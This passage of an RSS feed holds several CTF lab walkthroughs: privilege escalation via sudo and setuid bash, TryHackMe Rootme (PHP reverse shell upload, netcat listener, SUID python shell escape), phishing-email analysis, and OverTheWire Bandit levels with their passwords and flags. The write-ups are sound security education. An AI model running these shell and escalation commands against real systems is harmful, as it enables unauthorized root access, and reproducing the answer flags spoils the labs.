we can now proceed to locate the user flag. This typically involves navigating through the filesystem, searching for directories or files containing the user flag. Common locations include user-specific directories or directories containing user-related data. Utilizing commands like ls, cd, and cat, we can explore the filesystem to locate and retrieve the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*uL3rVSTIg_at4oAziCaUPA.png" /></figure><h3><strong>Getting the user flag:-</strong></h3><p>As shown in the image we have got the user flag as :-</p><p><strong>62e1a0499e08e8ae274b9db62f225171</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*1yKh9u8mEevA3QSgpoVVMg.png" /></figure><h3>Getting the root flag:-</h3><p>we’ll use the <strong>sudo -l</strong> command to enumerate the sudo privileges granted to our current user. This command will reveal if there are any commands that we can execute with elevated privileges.</p><p>Analyzing the contents of the “/usr/bin/syscheck” file, we discover that it <strong>manipulates a file named “initdb.sh”</strong>. This indicates that the script is likely responsible for executing operations related to initializing a database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*OGHv3URUAV5VgAM56Pap4A.png" /></figure><p>The script “<strong>initdb.sh</strong>” will contain the command “<strong>chmod u+s /bin/bash</strong>”, which sets the setuid bit on the “<strong>/bin/bash</strong>” binary, allowing it to be executed with the privileges of its owner (root). By executing this script and then running the “/usr/bin/syscheck” script, we may escalate our privileges to root and thereby gain access to the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*VV5ZVbKALnudxt8s7_ys0g.png" /></figure><p>Executing <strong>sudo /usr/bin/syscheck</strong> will trigger the &quot;/usr/bin/syscheck&quot; script with elevated privileges. If the script successfully exploits the vulnerability and executes the &quot;initdb.sh&quot; script, it will set the setuid bit on the &quot;/bin/bash&quot; binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*nNDrj6e9a3a6ZQ_sfO-_pw.png" /></figure><p>Afterward, running <strong>/bin/bash -p</strong> launches a new instance of the bash shell with elevated privileges due to the setuid bit set on the &quot;/bin/bash&quot; binary. This should grant us root-level access, enabling us to access the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/210/1*iFi1v55ZJ3Si0bXq6G_spw.png" /></figure><p>Getting the Root flag:-</p><p>As shown in the image we can find the root flag easily:-</p><p><strong>bae253e90eed29b9bf71e999c294e77f</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/307/1*zLeqyelCUn_0V-Aw-L8W6A.png" /></figure><p>Thank you for reading, we will meet in another story!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f9dcc67211e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Walkthrough: Rootme (TryHackMe)]]></title>
            <link>https://medium.com/@harshitagarwal1308/walkthrough-rootme-tryhackme-e744b04ce989?source=rss-3eefc7cea10c------2</link>
            <guid isPermaLink="false">https://medium.com/p/e744b04ce989</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-rootme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[walkthrough]]></category>
            <dc:creator><![CDATA[Harshitagarwal]]></dc:creator>
            <pubDate>Mon, 11 Mar 2024 17:59:02 GMT</pubDate>
            <atom:updated>2024-03-11T17:59:02.870Z</atom:updated>
            <content:encoded><![CDATA[<h3>INTRODUCTION</h3><p>Hello cyber readers, today I am taking you on the walk of a CTF (capture the flag) on TryHackMe named “<strong>Rootme</strong>”. It is a beginner CTF where you clear more fundamentals of red teaming. So, without wasting your precious let’s get started.</p><p>Link for the room:-<a href="https://tryhackme.com/room/rrootme">https://tryhackme.com/room/rrootme</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8ALie_f5raUpNXKJXtSoEg.png" /></figure><h3>CONTENTS</h3><p>Here is the content summary of the room seems quite simple as to all the CTFs.</p><p><strong>Task 1</strong>: Deploy the machine<br><strong>Task 2</strong>: Reconnaissance<br><strong>Task 3:</strong> Getting a shell<br><strong>Task 4:</strong> Privilege escalation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*uDI9n5ihXIImJlFudmLxOA.png" /></figure><h3>Let&#39;s start solving:</h3><p><strong>Task 1:<br></strong>You just need to deploy the machine and either use <strong>attack box</strong> inbuilt in the tryhackme or you can download the tryhackme <strong>openVPN</strong> to access the room and be on the same network.</p><p><strong>Task 2:<br></strong>For this task, we have to start our reconnaissance by using a very famous tool named <strong>Nmap</strong> scanning.</p><p><strong><em>Q)Scan the machine, how many ports are open?<br>Ans:- 2<br>Q)What version of Apache is running?<br>Ans:- 2.4.29<br>Q)What service is running on port 22?<br>Ans:- ssh</em></strong></p><p>We have used <strong>nmap -A 10.10.235.194 -sV -v </strong>command where -A for aggressive scan, -sV will give versions which is required in the 2nd question, and -v will give verbose.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*2yIorWmhbzM_1LPFRgO9RA.png" /></figure><p>In the above solution, we have <strong>found 2 open ports</strong>. So the answer to the 1st question will be 2. And we know <strong>on port 22- SSH works</strong>, so we get the 3rd answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*jgR66eedBSrlWffkbfZeoA.png" /></figure><p>Later from the same command, we get the version of the Apache which is shown in the above figure. So, the answer to question 2 <strong>Apache version is 2.4.29.</strong></p><p><strong><em>Q)Find directories on the web server using the GoBuster tool.<br>Q)What is the hidden directory?<br>Ans:-/panel/</em></strong></p><p>For further enumeration purposes, we have to use GoBuster to find the hidden directory.<br>The command used <br><strong>gobuster dir -u 10.10.235.194 -w /usr/share/wordlists/dirb/common.txt<br></strong>where<strong> dir</strong> is used for <strong>directory bursting.</strong><br><strong>-u</strong> specifies the target URL, i.e., <strong>the Machine_IP</strong>.<br><strong>-w</strong> is for the <strong>wordlist specification</strong>.<br>Now the important part is the wordlist you have to be very cautious while selecting the wordlist. In /usr/share/wordlists/, you will find a specific directory<strong> dirb</strong> for directory bursting then, there are too many wordlists so you may have to hit trial every wordlist but I have solved the room, so I am confident on <strong>common.txt</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*6t0EABXribMlTC9LMx4BMg.png" /></figure><p>The above screenshot clearly states <strong>/panel/</strong> is redirecting to a new site and is accessible.</p><p><strong>Task 3:</strong></p><p>Now we have to find the user.txt flag by taking the initial access through the reverse shell of PHP which we can see in the hint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/1*AKedHQ1s13csacCAHzZ5aA.png" /></figure><p>When we run the /panel/ site we get the interface,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6e13jdE0vQpBnM8sPYfL8Q.png" /></figure><p>Now, we have to inject a <strong>PHP payload</strong> in this upload so that we can get a reverse shell for the initial access. For that, we are going to use <strong>Hack Tools</strong> extension where we will go to the <strong>PHP reverse shell payload</strong> and give <strong>LHOST</strong> (which will be our tunnel 0 {machine_ip}) and <strong>LPORT</strong> (which is a random port but remember this is for making the connection).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*GaLD6trgwiUYJ9eKSiSPOA.png" /></figure><p>Now, we have to copy this source code and paste it into a <strong>.php5</strong> file (the reason for taking .php5 is because <strong>.php is not supported by it</strong>).</p><p>Now use<strong> nc -lvnp 3434</strong> command<strong>,<br></strong>It is netcat command for <strong>listening ports</strong> from that payload after uploading so that we can make the connection from that reverse_shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*ZZet6Rg2HiQeU_PXLtVNWQ.png" /></figure><p>Now, <strong>Upload that .php5 file</strong> in the upload folder of the /panel/ website. In my case, fw.php5 file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*pdOZzzGPEKOh1Z7A5d72LA.png" /></figure><p>Now, we can find that we will get the shell access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*r5FtDWVKbmtAX6xJm2DpbQ.png" /></figure><p>Now, we use the find command to find the user.txt file in the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*ABnpn80f7Uj2cXdJeSJewA.png" /></figure><p><strong><em>Q)Find a form to upload and get a reverse shell, and find the flag.<br>user.txt<br>Ans:-THM{y0u_g0t_a_sh3ll}</em></strong></p><p><strong>Task 4:</strong></p><p>Now, we have to escalate the privilege of the initial access using the given hint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*EdBFlNK8V7vKdN7szwSMfQ.png" /></figure><p>We use <strong>find / -user root -perm /4000</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*6lT2E31UaIZ4immqZ5jVNA.png" /></figure><p>Now that we have a shell, let’s escalate our privileges to root.<br><strong><em>Q)Search for files with SUID permission, which file is weird?<br>Ans:-/usr/bin/python</em></strong></p><p>The python file will be the weirdest file for the SUID permission, as normally Python not be there.</p><p>Now go to<strong> gtfobins</strong> website to find the exploit for privilege escalation for python, i.e., <strong>python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*g7n9FYv4zx068eU2Uxnrww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*84lHcoq--c57nBtzrhOHCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*5jyZFnAC04WrCNwXuwiLTw.png" /></figure><p>Now, the privilege escalated and we can find the root.txt flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*dq6W8YGJUtjvfLhD2Jq_gA.png" /></figure><p><strong><em>Q)root.txt:-THM{pr1v1l3g3_3sc4l4t10n}</em></strong></p><p>Here is the complete walkthrough of the room. I hope it is valuable to you. Will meet you on the next blog.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e744b04ce989" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Walkthrough: Phishing Analysis Fundamentals(TryHackMe)]]></title>
            <link>https://medium.com/@harshitagarwal1308/walkthrough-phishing-analysis-fundamentals-tryhackme-8c480ddfd389?source=rss-3eefc7cea10c------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c480ddfd389</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Harshitagarwal]]></dc:creator>
            <pubDate>Tue, 05 Mar 2024 17:45:00 GMT</pubDate>
            <atom:updated>2024-03-05T17:45:00.343Z</atom:updated>
            <content:encoded><![CDATA[<p>Today we are going through one of the sensitive parts of social engineering attacks, that is, Email Phishing. Phishing is a type of online scam that targets consumers by emailing them that appear to be from a well-known source and asking them to provide personal identifying information. To avoid Phishing we must know about Phishing emails and for that, we are going to do a room of<strong> Tryhackme</strong> named <strong>Phishing Analysis Fundamentals.</strong></p><p>Now let’s start solving the room.</p><figure><img alt="Link:- https://tryhackme.com/room/phishingemails1tryoe" src="https://cdn-images-1.medium.com/max/1024/1*FmDzUsBMFDMG7gnIdDk-Dw.png" /></figure><p>Link for the room:- <a href="https://tryhackme.com/room/phishingemails1tryoe">https://tryhackme.com/room/phishingemails1tryoe</a></p><h3>Table Contents:-</h3><p>Task 1. Introduction<br>Task 2. The Email Address<br>Task 3. Email Delivery<br>Task 4. Email Headers<br>Task 5. Email Body<br>Task 6. Types of Phishing<br>Task 7. Conclusion</p><h3>Task 1. Introduction</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pswWeLdSK-Iq_iv9RgX9BA.png" /></figure><p>In this task, you just need to Start the Machine in the top-right corner as highlighted.</p><h3><strong>Task 2. The Email Address</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*AkFfOMFthz1_HiHZ7jVacQ.png" /></figure><p>In this task, the question asked is:-<br><em>Q)Email dates back to what time frame?<br>Ans:- 1970s (As highlighted in the above screenshot)</em></p><h3><strong>Task 3. Email Delivery</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*-RLC82Yzq4G1uDhTdxYIpA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*_vcdlkGwMY0AjRwKF7myCw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*Kw4n2-C0sHMw8EZvsQTcEw.png" /></figure><p>In this task, it is described all the emailing protocols that are responsible for an email going from one system to another system named SMTP, POP3, and IMAP. <br><strong>Simple Mail Transfer Protocol (SMTP)</strong> is a TCP/IP protocol used in sending and receiving e-mail. It is typically used with POP3 or Internet Message Access Protocol to save messages in a server mailbox and download them periodically from the server for the user.<br><strong>POP 3 stands for Post Office Protocol Version 3</strong>. POP3 protocol is used to provide access to the mail inbox that is stored in the email server. POP3 protocol can download and delete messages. Once the POP3 client has established a connection with the mail server it can easily retrieve all the messages from the server.<br>The <strong>Internet Message Access Protocol (IMAP)</strong> is an Internet standard protocol that allows email clients to access email messages from mail servers over a TCP/IP connection. IMAP acts as an intermediary between email clients and email servers, rather than downloading emails from the server onto the email client.<br><strong><em>Difference between POP3 V/S IMAP:-</em></strong><em><br>POP3 downloads emails from a server to a single computer, making those emails only </em><strong><em>accessible on that specific computer</em></strong><em>. IMAP stores emails on a server and then syncs them </em><strong><em>across multiple devices</em></strong><em>. IMAP is more advanced than POP3 and allows you to access your email from anywhere and on any device.</em></p><p>Now all three protocols operate on different ports, generally, SMTP works on port no 25 but the secured Transport works on <strong>port no 465</strong>.<br>POP3 works on port no 143, but the secured Transport works on <strong>port no 993.<br></strong>Similarly, IMAP works on port no 110, but the secured Transport works on<strong> port no 995.</strong></p><p>Now come for the task questions:-<br><em>Q1)What port is classified as Secure Transport for SMTP?<br>Ans:- 465<br>Q2)What port is classified as Secure Transport for IMAP?<br>Ans:-993<br>Q3)What port is classified as Secure Transport for POP3?<br>Ans:-995</em></p><h3>Task 4. Email Headers</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*3r0PMSO4R75l2Z6c9Wc-Nw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*0m8I0NIGuxs2XY4_IW4WXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*k39-r_UwEPcbx6KDYPDj5A.png" /></figure><p>In this task, we have to open the split view and go to the email samples folder to find <strong>email1.eml</strong> and analyze that email. We can easily analyze that email by copying the whole email go to the <strong>MX toolbox email header analyzer</strong> and paste there.<br>Link for MX toolbox:-<a href="https://mxtoolbox.com/EmailHeaders.aspx">https://mxtoolbox.com/EmailHeaders.aspx</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f7rEEFggIKbMSijVv6WrQg.png" /></figure><p>You will find results like this.<br>Now come to the task:-<br><em>Q1)What email header is the same as “Reply-to”?<br>Ans:- Return-Path</em> (As in the above header we can see Return-Path is used as reply-back address)<br><em>Q2)Once you find the email sender’s IP address, where can you retrieve more information about the IP?<br>Ans:-</em><a href="http://www.arin.net/"><em>http://www.arin.net/</em></a><em> </em><br>In the last part of the task, we find a link for analyzing email header<br> <a href="https://mediatemple.net/community/products/all/204643950/understanding-an-email-header">https://mediatemple.net/community/products/all/204643950/understanding-an-email-header</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*k39-r_UwEPcbx6KDYPDj5A.png" /></figure><p>By visiting that link, in the bottom part, we will find the link from where we can retrieve more information about the IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*t-nWRgUJC_fqjp2SVC9Kpg.png" /></figure><h3>Task 5. Email Body</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*jU6JuYH9d24bT09JpbjaYQ.png" /></figure><p>The above email contains an image (which was blocked by the email client) and embedded hyperlinks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*a0jgRZ393hnVvHTWQ8LbzQ.png" /></figure><p>In this HTML code, the image link ‘https://i.imgur.com/LSWOtDI.png’ is blocked by the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*61j6SRMowOSmWrMab7Pbow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*VjiP9L_kab-WrwsV_vXlaw.png" /></figure><p>From the above example, we can see the headers associated with this attachment:</p><ul><li><strong>Content-Type</strong> is <strong>application/pdf</strong>.</li><li><strong>Content-Disposition</strong> specifies it’s an <strong>attachment</strong>.</li><li><strong>Content-Transfer-Encoding</strong> tells us it’s <strong>base64</strong> encoded.</li><li><strong>PDF name</strong> is Payment-updateid.pdf<br>With the base64 encoded data, you can decode it and save it to your machine.<br><strong>Warning</strong>: When interacting with attachments, proceed with caution and make sure you don’t double-click an email’s attachment by accident.<br><strong>Note</strong>: Headers specific to ‘content’ can be found in various locations within an email message source code, and they’re not only associated with attachments. For example, <strong>Content-Type</strong> can be <strong>text/html,</strong> and <strong>Content-Transfer-Encoding</strong> can have other values, such as <strong>8bit</strong>.</li></ul><p>Now let&#39;s jump to the questions:-<br><em>Q1)In the above screenshots, what is the URI of the blocked image?<br>Ans:-https://i.imgur.com/LSWOtDI.png </em>(we have found it in the above Screenshots)<br><em>Q2)In the above screenshots, what is the name of the PDF attachment?<br>Ans:-Payment-updateid.pdf</em> (we have found in the above screenshots)<br><em>Q3)In the attached virtual machine, view the information in email2.txt and reconstruct the PDF using the base64 data. What is the text within the PDF?<br>Ans:-THM{BENIGN_PDF_ATTACHMENT} </em><br>As we have seen from the headers above the body of email2.eml is base64 data, and it is also given in the question so we can use online tools like base64 to PDF converter to convert that base64 value to PDF to find the text.<br>I have used <a href="https://base64.guru/converter/decode/pdf">base64.guru</a> for the conversion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*3qgcb_NxSISNmavSQHMl0g.png" /></figure><h3>Task 6. Types of Phishing</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*aMZflAsZNhuZY8hNbn5Tmg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*vj4hyqSld11jfx3P8_E8DA.png" /></figure><p>In this task, we have to analyze email3.eml for that we simply open that email by right-clicking it and open with<strong> thunderbird mail.<br>The interface will be like this.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*0c4vflYtqqhUnN9Vxrx9wA.png" /></figure><p>Now we can answer the asked questions:-<br><em>Q1)What trusted entity is this email masquerading as?<br>Ans:-Home Depot</em> (As we can see in the above screenshot)<br><em>Q2)What is the sender’s email?<br>Ans:-</em><a href="/service/mailto:support@teckbe.com"><em>support@teckbe.com</em></a> (As we can see in the above screenshot)<br><em>Q3)What is the subject line?<br>Ans:-Order Placed : Your Order ID OD2321657089291 Placed Successfully </em>(As we can see in the above screenshot)<br><em>Q4)What is the URL link for — CLICK HERE? (Enter the defanged URL)<br>Ans:- hxxp[://]t[.]teckbe[.]com/p/?j3=3DEOowFcEwFHl6EOAyFcoUFV= TVEchwFHlUFOo6lVTTDcATE7oUE7AUET=3D=3D</em><br>When we open the email in text form, then according to the question we have to find the “-click here” button, there we can find the link below:-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*x4kHfFGmHung32ygiT1ICg.png" /></figure><p><a href="http://t.teckbe.com/p/?j3=3DEOo=">http://t.teckbe.com/p/?j3=3DEOo=</a><br>wFcEwFHl6EOAyFcoUFVTVEchwFHlUFOo6lVTTDcATE7oUE7AUET=3D=3D</p><p>Now we have to defang this URL using cyberchef and their defang URL option.</p><p>Link:<a href="https://gchq.github.io/CyberChef/#recipe=Defang_URL(true,true,true,&#39;Valid%20domains%20and%20full%20URLs&#39;)">https://gchq.github.io/CyberChef/#recipe=Defang_URL(true,true,true,&#39;Valid%20domains%20and%20full%20URLs&#39;)</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GeFLyxpcxGATwUKs5_P-RA.png" /></figure><h3>Task 7. Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*Sr2PDR5IkAvSVvdrF-ueLA.png" /></figure><p>Q)What is BEC?<br>Ans:-Business Email Compromise.</p><p>This is the end of this room, I hope you will get valuable knowledge and the right pathway to solve this room. Stay tuned for more contents.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c480ddfd389" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Walkthrough: Over The Wire Bandit(Level 0–15)]]></title>
            <link>https://medium.com/@harshitagarwal1308/walkthrough-over-the-wire-bandit-level-0-15-84afecbd2d6a?source=rss-3eefc7cea10c------2</link>
            <guid isPermaLink="false">https://medium.com/p/84afecbd2d6a</guid>
            <category><![CDATA[bandit]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[bandit-walkthrough]]></category>
            <category><![CDATA[overthewire]]></category>
            <dc:creator><![CDATA[Harshitagarwal]]></dc:creator>
            <pubDate>Sat, 02 Mar 2024 11:55:07 GMT</pubDate>
            <atom:updated>2024-03-02T11:55:07.830Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>INTRODUCTION</strong></h3><p>OverTheWire is an interactive platform offering cybersecurity war games designed to teach and challenge users in various aspects of computer security. With its diverse range of challenges, from basic to advanced levels, participants can enhance their skills in network security, cryptography, and more. The platform fosters a collaborative learning environment where users can share insights, strategies, and hints through forums and chat channels. By completing challenges, users gain practical experience and develop critical problem-solving skills applicable to real-world scenarios.</p><p>OverTheWire is an invaluable resource for both beginners looking to enter the field of cybersecurity and seasoned professionals seeking to sharpen their expertise. Its hands-on approach and supportive community make it an effective tool for learning and mastering cybersecurity concepts.</p><p>Bandit is one of OverTheWire’s introductory war games, designed to familiarize users with basic Linux commands and concepts in cybersecurity. Players progress through levels by solving increasingly challenging tasks, such as navigating directories, manipulating files, and deciphering passwords. Each level provides hands-on experience and encourages exploration of command-line utilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZmkHOsZSWm6lJgZHqTj0FQ.png" /></figure><h3><strong>LEVEL-0</strong></h3><p>The goal of this level is for you to log into the game using SSH. The host to which you need to connect is bandit.labs.overthewire.org, on port 2220. The username is bandit0 and the password is bandit0. Once logged in, go to the Level 1 page to find out how to beat Level 1.</p><p><strong>EXPLANATION:-</strong></p><p>When you type the command ssh bandit0@bandit.labs.overthewire.org -p 2220 into your computer’s terminal and hit enter, it’s like sending a message to another computer on the internet.</p><p>Here’s what each part means:</p><p>ssh: This tells your computer to use SSH, a special way to connect securely to other computers.</p><p>bandit0@bandit.labs.overthewire.org: This is like an address. It tells your computer which computer to connect to. In this case, it’s connecting to a computer called bandit.labs.overthewire.org, with the username bandit0.</p><p>-p 2220: This part is like telling your computer to use a specific door to enter the other computer. In this case, it’s door number 2220.</p><p>So, when you put it all together, you’re basically telling your computer to securely connect to another computer named bandit.labs.overthewire.org, using the username bandit0, and to use door number 2220 to get in. It’s like using a secret code to access a hidden room in a building!</p><p><strong>COMMAND</strong></p><p>ssh bandit0@bandit.labs.overthewire.org -p 2220</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*VN6noW0NFv0qwSNoEMi-Ig.png" /></figure><h3><strong>LEVEL-0 →LEVEL-1</strong></h3><p>The password for the next level is stored in a file called readme located in the home directory. Use this password to log into bandit1 using SSH. Whenever you find a password for a level, use SSH (on port 2220) to log into that level and continue the game.</p><p><strong>EXPLANATION:-</strong></p><p>When you type ls in the terminal, it shows you a list of files and folders in your current location, like looking at a list of items in a folder.</p><p>Next, when you type cat readme, it opens and displays the contents of a file named readme, so you can read what’s inside it.</p><p>Then, you find a password inside the readme file, which you’ll need for the next level. This password is like a secret key that lets you unlock the next part of the game.</p><p>Finally, you use this password to log into the next level, called bandit1,</p><p><strong>COMMAND</strong></p><p>ls → readme → NH2SXQwcBdpmTEzi3bvBHMM9H66vVXjL(password for level1)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*ftSb-tzRbAX03e5J3bF1RA.png" /></figure><h3><strong>LEVEL-1 →LEVEL-2</strong></h3><p>The password for the next level is stored in a file called — located in the home directory.</p><p><strong>EXPLANATION:-</strong></p><p>Start by checking what files are in your current location. You do this by typing ls in the terminal.</p><p>When you hit enter, the computer shows you a list of files. You notice there’s a file named — in the list. This is a bit unusual because usually files have names, but this one seems to be just a hyphen.</p><p>Curious, you decide to see what’s inside this file. You use the cat command followed by the file’s path (/home/bandit1/-) to display its contents. Now that you have the password (rRGizSaX8Mk1RTb1CNQoXTcYZWU6lgzi)</p><p><strong>COMMAND</strong></p><p><strong>bandit1@bandit:~$ </strong>ls</p><p><em>-</em></p><p><strong>bandit1@bandit</strong>:~$ pwd</p><p><em>/home/bandit1</em></p><p><strong>bandit1@bandit</strong>:~$ cat /home/bandit1/-<em>rRGizSaX8Mk1RTb1CNQoXTcYZWU6lgzi</em>(password for level2)</p><h3><strong>LEVEL-2 →LEVEL-3</strong></h3><p>The password for the next level is stored in a file called spaces in this filename located in the home directory.</p><p><strong>EXPLANATION:-</strong></p><p><em>You start by checking what files are in your current location. You do this by typing ls in the terminal.</em></p><p>The computer shows you a list of files. You notice there’s a file with a funny name: “spaces in this filename”. This is a bit odd because filenames usually don’t have spaces in them, but in this case, it does.</p><p>Curious, you want to see what’s inside this file. But because the filename has spaces, you need to be a bit careful. You use the cat command followed by the file’s path (/home/bandit2/”spaces in this filename”) to display its contents.</p><p>Now that you have the password (aBZ0W5EmUfAf7kHTQeOwd8bauFJ2lAiG)</p><p><strong>COMMAND</strong></p><p><strong>bandit2@bandit:~$ </strong>ls</p><p><em>spaces in this filename</em></p><p><strong>bandit2@bandit</strong>:~$ pwd</p><p><em>/home/bandit2</em></p><p><strong>bandit2@bandit:~$ </strong>cat /home/bandit2/”spaces in this filename”</p><p><em>aBZ0W5EmUfAf7kHTQeOwd8bauFJ2lAiG</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*R8-n-rsKivrtUcTsvJE2KQ.png" /></figure><h3><strong>LEVEL-3 →LEVEL-4</strong></h3><p>The password for the next level is stored in a hidden file in the inhere directory.</p><p><strong>EXPLANATION:-</strong></p><p>You start by checking what’s in your current location. You do this by typing ls in the terminal.</p><p>The computer shows you a folder called “inhere”. You decide to see what’s inside this folder, so you type cd inhere to go inside it.</p><p>Now, you’re inside the “inhere” folder. You want to see if there are any hidden files, so you type ls -a to list all files, including hidden ones.</p><p>You see a file named “.hidden”. The dot at the beginning of the filename indicates that it’s hidden. This file might contain the password you need, so you decide to check what’s inside it.</p><p>To do this, you use the cat command followed by the filename (.hidden) to display its contents.</p><p>You find the password (2EW7BBsr6aMMoJ2HjW067dm8EgX26xNe)</p><p><strong>COMMAND</strong></p><p><strong>bandit3@bandit:~$ </strong>ls</p><p><em>inhere</em></p><p><strong>bandit3@bandit:~$ </strong>cd inhere</p><p><strong>bandit3@bandit:~/inhere$ </strong>ls -a</p><p><em>. .. .hidden</em></p><p><strong>bandit3@bandit:~/inhere$ </strong>cat .hidden</p><p><em>2EW7BBsr6aMMoJ2HjW067dm8EgX26xNe</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*5UFY_6J1ouE9pl7YqSkfPA.png" /></figure><h3><strong>LEVEL-4 →LEVEL-5</strong></h3><p>The password for the next level is stored in the only human-readable file in the inhere directory. Tip: if your terminal is messed up, try the “reset” command.</p><p><strong>EXPLANATION:-</strong></p><p>First, you navigate to the “inhere” folder by typing cd inhere in the terminal. Then, you list the files in the folder using the command ls -h.</p><p>You notice that there are several files named like “-file00”, “-file01”, “-file02”, and so on. These files seem to contain gibberish when you try to read them directly using the cat command.</p><p>However, there’s one file that you’re able to read and understand. This file is the only one that contains human-readable text. You use the cat command followed by the filename (e.g., -file07) to display its contents.</p><p>Inside this file, you find the password: lrIWWI6bB37kxfiCQZqUdOIYfr6eEeqR.</p><p><strong>COMMAND</strong></p><p><strong>bandit4@bandit:~$ </strong>ls</p><p><em>inhere</em></p><p><strong>bandit4@bandit:~$ </strong>cd inhere</p><p><strong>bandit4@bandit:~/inhere$ </strong>ls -h</p><p><em>-file00 -file01 -file02 -file03 -file04 -file05 -file06 -file07 -file08 -file09</em></p><p><strong>bandit4@bandit:~/inhere$ </strong>cat — -file09</p><p><em>Z�\�������ж�q���7�����/�n��n</em><strong>bandit4@bandit:~/inhere$ </strong>cat — -file08</p><p><em>���K�~�+��9&quot;T���*Z$����”�r�</em></p><p><em>�</em><strong>bandit4@bandit:~/inhere$</strong> cat — -file07</p><p><em>lrIWWI6bB37kxfiCQZqUdOIYfr6eEeqR</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*H-JuW7u9AivZV0gJ1ghy3g.png" /></figure><h3><strong>LEVEL-5 →LEVEL-6</strong></h3><p>The password for the next level is stored in a file somewhere under the inhere directory and has all of the following properties:</p><p>human-readable</p><p>1033 bytes in size</p><p>not executable</p><p><strong>EXPLANATION:-</strong></p><p>The password has specific properties:</p><p>It is human-readable.</p><p>It is exactly 1033 bytes in size.</p><p>It is not an executable file.</p><p>To find this password, you navigate to the “inhere” directory using the cd inhere command. Once inside, you see several directories named “maybehere00”, “maybehere01”, and so on.</p><p>To search for the file with the password, you use the find command. This command searches for files within a directory based on specific criteria. You specify that you’re looking for a file with the following properties:</p><p>It is a regular file (-type f).</p><p>It is exactly 1033 bytes in size (-size 1033c).</p><p>Its name contains printable characters (-name 